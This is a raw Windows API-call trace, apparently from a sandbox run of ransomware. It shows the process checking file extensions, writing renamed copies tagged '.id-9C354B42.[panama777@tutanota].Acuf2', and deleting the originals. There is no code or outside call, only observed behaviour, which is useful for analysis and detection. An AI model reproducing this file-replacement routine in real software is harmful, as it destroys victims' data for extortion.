	[0248.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d28
	[0248.692] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4d28, Size=0x20) returned 0x51b090
	[0248.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d28
	[0248.692] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4d28, Size=0x20) returned 0x51b0b8
	[0248.692] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0248.692] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0248.693] Wow64DisableWow64FsRedirection (in: OldValue=0x2c0ff58 | out: OldValue=0x2c0ff58*=0x0) returned 1
	[0248.693] lstrlenW (lpString="kernel32.dll") returned 12
	[0248.693] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b090 | out: hHeap=0x4a0000) returned 1
	[0248.693] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0248.693] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b0b8 | out: hHeap=0x4a0000) returned 1
	[0248.693] Sleep (dwMilliseconds=0x64) 
	[0249.064] lstrcmpiW (lpString1=".ini", lpString2=".Acuf2") returned 1
	[0249.064] lstrlenW (lpString="desktop.ini") returned 11
	[0249.064] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4
	[0249.064] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=129) returned 1
	[0249.064] CloseHandle (hObject=0x1c4) returned 1
	[0249.064] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26
	[0249.064] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[panama777@tutanota].acuf2")) returned 0x26
	[0249.065] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.065] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.065] lstrlenW (lpString=".doc") returned 4
	[0249.065] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0249.065] lstrlenW (lpString=".docx") returned 5
	[0249.065] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0249.066] lstrlenW (lpString=".pdf") returned 4
	[0249.066] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0249.066] lstrlenW (lpString=".xls") returned 4
	[0249.066] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0249.066] lstrlenW (lpString=".xlsx") returned 5
	[0249.066] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0249.066] lstrlenW (lpString=".ppt") returned 4
	[0249.066] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0249.066] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.066] lstrlenW (lpString=".zip") returned 4
	[0249.066] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0249.066] lstrlenW (lpString=".rar") returned 4
	[0249.066] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0249.066] lstrlenW (lpString=".bz2") returned 4
	[0249.066] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0249.066] lstrlenW (lpString=".7z") returned 3
	[0249.066] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0249.066] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.066] lstrlenW (lpString=".dbf") returned 4
	[0249.066] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0249.066] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.066] lstrlenW (lpString=".1cd") returned 4
	[0249.066] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0249.066] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.066] lstrlenW (lpString=".jpg") returned 4
	[0249.066] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0249.066] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.066] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.066] lstrlenW (lpString=".doc") returned 4
	[0249.066] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0249.066] lstrlenW (lpString=".docx") returned 5
	[0249.067] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0249.067] lstrlenW (lpString=".pdf") returned 4
	[0249.067] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0249.067] lstrlenW (lpString=".xls") returned 4
	[0249.067] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0249.067] lstrlenW (lpString=".xlsx") returned 5
	[0249.067] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0249.067] lstrlenW (lpString=".ppt") returned 4
	[0249.067] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0249.067] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.067] lstrlenW (lpString=".zip") returned 4
	[0249.067] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0249.067] lstrlenW (lpString=".rar") returned 4
	[0249.067] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0249.067] lstrlenW (lpString=".bz2") returned 4
	[0249.067] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0249.067] lstrlenW (lpString=".7z") returned 3
	[0249.067] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0249.067] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.067] lstrlenW (lpString=".dbf") returned 4
	[0249.067] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0249.067] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.067] lstrlenW (lpString=".1cd") returned 4
	[0249.067] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0249.067] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0249.067] lstrlenW (lpString=".jpg") returned 4
	[0249.068] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0249.068] lstrcmpiW (lpString1=".LOG", lpString2=".Acuf2") returned 1
	[0249.068] lstrlenW (lpString="BCD.LOG") returned 7
	[0249.068] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.068] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.068] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.068] lstrlenW (lpString=".doc") returned 4
	[0249.068] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0249.068] lstrlenW (lpString=".docx") returned 5
	[0249.068] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0249.068] lstrlenW (lpString=".pdf") returned 4
	[0249.068] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0249.068] lstrlenW (lpString=".xls") returned 4
	[0249.068] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0249.068] lstrlenW (lpString=".xlsx") returned 5
	[0249.068] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0249.068] lstrlenW (lpString=".ppt") returned 4
	[0249.068] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0249.068] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.068] lstrlenW (lpString=".zip") returned 4
	[0249.068] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0249.068] lstrlenW (lpString=".rar") returned 4
	[0249.068] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0249.068] lstrlenW (lpString=".bz2") returned 4
	[0249.068] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0249.068] lstrlenW (lpString=".7z") returned 3
	[0249.068] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0249.069] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.069] lstrlenW (lpString=".dbf") returned 4
	[0249.069] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0249.069] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.069] lstrlenW (lpString=".1cd") returned 4
	[0249.069] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0249.069] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.069] lstrlenW (lpString=".jpg") returned 4
	[0249.069] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0249.069] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.069] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.069] lstrlenW (lpString=".doc") returned 4
	[0249.069] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0249.069] lstrlenW (lpString=".docx") returned 5
	[0249.069] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0249.069] lstrlenW (lpString=".pdf") returned 4
	[0249.069] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0249.069] lstrlenW (lpString=".xls") returned 4
	[0249.069] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0249.069] lstrlenW (lpString=".xlsx") returned 5
	[0249.069] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0249.069] lstrlenW (lpString=".ppt") returned 4
	[0249.069] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0249.069] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.069] lstrlenW (lpString=".zip") returned 4
	[0249.069] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0249.069] lstrlenW (lpString=".rar") returned 4
	[0249.069] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0249.070] lstrlenW (lpString=".bz2") returned 4
	[0249.070] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0249.070] lstrlenW (lpString=".7z") returned 3
	[0249.070] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0249.070] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.070] lstrlenW (lpString=".dbf") returned 4
	[0249.070] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0249.070] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.070] lstrlenW (lpString=".1cd") returned 4
	[0249.070] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0249.070] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0249.070] lstrlenW (lpString=".jpg") returned 4
	[0249.070] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0249.070] Sleep (dwMilliseconds=0x64) 
	[0249.267] Sleep (dwMilliseconds=0x64) 
	[0249.513] lstrcmpiW (lpString1=".log", lpString2=".Acuf2") returned 1
	[0249.514] lstrlenW (lpString="bootex.log") returned 10
	[0249.514] CreateFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.719] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=5120) returned 1
	[0249.722] CloseHandle (hObject=0x298) returned 1
	[0249.722] GetFileAttributesW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log")) returned 0x80
	[0249.727] GetFileAttributesW (lpFileName="C:\\bootex.log.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\bootex.log.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.731] CreateFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.731] SetFilePointerEx (in: hFile=0x298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0249.731] SetFilePointerEx (in: hFile=0x298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0249.731] CreateFileW (lpFileName="C:\\bootex.log.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\bootex.log.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c
	[0250.100] GetLastError () returned 0x0
	[0250.100] ReadFile (in: hFile=0x298, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1400, lpOverlapped=0x0) returned 1
	[0250.116] WriteFile (in: hFile=0x22c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1410, lpOverlapped=0x0) returned 1
	[0250.117] ReadFile (in: hFile=0x298, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0250.117] WriteFile (in: hFile=0x22c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0250.117] SetEndOfFile (hFile=0x22c) returned 1
	[0250.117] CloseHandle (hObject=0x22c) returned 1
	[0250.119] SetFilePointerEx (in: hFile=0x298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0250.119] SetEndOfFile (hFile=0x298) returned 1
	[0250.120] CloseHandle (hObject=0x298) returned 1
	[0250.120] SetFileAttributesW (lpFileName="C:\\bootex.log.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x80) returned 1
	[0250.120] DeleteFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log")) returned 1
	[0250.120] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.120] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.120] lstrlenW (lpString=".doc") returned 4
	[0250.120] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0250.120] lstrlenW (lpString=".docx") returned 5
	[0250.120] lstrcmpiW (lpString1=".docx", lpString2="x.log") returned -1
	[0250.120] lstrlenW (lpString=".pdf") returned 4
	[0250.120] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0250.120] lstrlenW (lpString=".xls") returned 4
	[0250.120] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0250.120] lstrlenW (lpString=".xlsx") returned 5
	[0250.120] lstrcmpiW (lpString1=".xlsx", lpString2="x.log") returned -1
	[0250.120] lstrlenW (lpString=".ppt") returned 4
	[0250.120] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0250.120] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.120] lstrlenW (lpString=".zip") returned 4
	[0250.120] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0250.120] lstrlenW (lpString=".rar") returned 4
	[0250.120] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0250.120] lstrlenW (lpString=".bz2") returned 4
	[0250.120] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0250.121] lstrlenW (lpString=".7z") returned 3
	[0250.121] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0250.121] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.121] lstrlenW (lpString=".dbf") returned 4
	[0250.121] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0250.121] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.121] lstrlenW (lpString=".1cd") returned 4
	[0250.121] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0250.121] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.121] lstrlenW (lpString=".jpg") returned 4
	[0250.121] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0250.121] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.121] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.121] lstrlenW (lpString=".doc") returned 4
	[0250.121] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0250.121] lstrlenW (lpString=".docx") returned 5
	[0250.121] lstrcmpiW (lpString1=".docx", lpString2="x.log") returned -1
	[0250.121] lstrlenW (lpString=".pdf") returned 4
	[0250.121] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0250.121] lstrlenW (lpString=".xls") returned 4
	[0250.121] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0250.121] lstrlenW (lpString=".xlsx") returned 5
	[0250.121] lstrcmpiW (lpString1=".xlsx", lpString2="x.log") returned -1
	[0250.121] lstrlenW (lpString=".ppt") returned 4
	[0250.121] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0250.121] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.121] lstrlenW (lpString=".zip") returned 4
	[0250.121] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0250.121] lstrlenW (lpString=".rar") returned 4
	[0250.121] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0250.121] lstrlenW (lpString=".bz2") returned 4
	[0250.121] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0250.122] lstrlenW (lpString=".7z") returned 3
	[0250.122] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0250.122] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.122] lstrlenW (lpString=".dbf") returned 4
	[0250.122] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0250.122] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.122] lstrlenW (lpString=".1cd") returned 4
	[0250.122] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0250.122] lstrlenW (lpString="C:\\bootex.log") returned 13
	[0250.122] lstrlenW (lpString=".jpg") returned 4
	[0250.122] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0250.122] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0250.122] lstrlenW (lpString="ipsfin.xml") returned 10
	[0250.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0250.841] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2658) returned 1
	[0250.841] CloseHandle (hObject=0x298) returned 1
	[0250.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20
	[0250.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0250.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.842] lstrlenW (lpString=".doc") returned 4
	[0250.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.842] lstrlenW (lpString=".docx") returned 5
	[0250.842] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0250.842] lstrlenW (lpString=".pdf") returned 4
	[0250.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.842] lstrlenW (lpString=".xls") returned 4
	[0250.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.842] lstrlenW (lpString=".xlsx") returned 5
	[0250.842] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0250.842] lstrlenW (lpString=".ppt") returned 4
	[0250.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.842] lstrlenW (lpString=".zip") returned 4
	[0250.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.842] lstrlenW (lpString=".rar") returned 4
	[0250.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.842] lstrlenW (lpString=".bz2") returned 4
	[0250.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.842] lstrlenW (lpString=".7z") returned 3
	[0250.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.842] lstrlenW (lpString=".dbf") returned 4
	[0250.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0250.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.843] lstrlenW (lpString=".1cd") returned 4
	[0250.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0250.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.843] lstrlenW (lpString=".jpg") returned 4
	[0250.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0250.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.843] lstrlenW (lpString=".doc") returned 4
	[0250.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0250.843] lstrlenW (lpString=".docx") returned 5
	[0250.843] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0250.843] lstrlenW (lpString=".pdf") returned 4
	[0250.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0250.843] lstrlenW (lpString=".xls") returned 4
	[0250.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0250.843] lstrlenW (lpString=".xlsx") returned 5
	[0250.843] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0250.843] lstrlenW (lpString=".ppt") returned 4
	[0250.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0250.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.843] lstrlenW (lpString=".zip") returned 4
	[0250.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0250.843] lstrlenW (lpString=".rar") returned 4
	[0250.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0250.843] lstrlenW (lpString=".bz2") returned 4
	[0250.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0250.843] lstrlenW (lpString=".7z") returned 3
	[0250.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0250.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.843] lstrlenW (lpString=".dbf") returned 4
	[0250.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0250.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.844] lstrlenW (lpString=".1cd") returned 4
	[0250.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0250.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61
	[0250.844] lstrlenW (lpString=".jpg") returned 4
	[0250.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0250.844] Sleep (dwMilliseconds=0x64) 
	[0251.095] lstrcmpiW (lpString1=".wmv", lpString2=".Acuf2") returned 1
	[0251.095] lstrlenW (lpString="flower_precomp_matte.wmv") returned 24
	[0251.095] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0251.166] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=77208) returned 1
	[0251.166] CloseHandle (hObject=0x320) returned 1
	[0251.166] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv")) returned 0x20
	[0251.289] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0251.290] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.290] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77
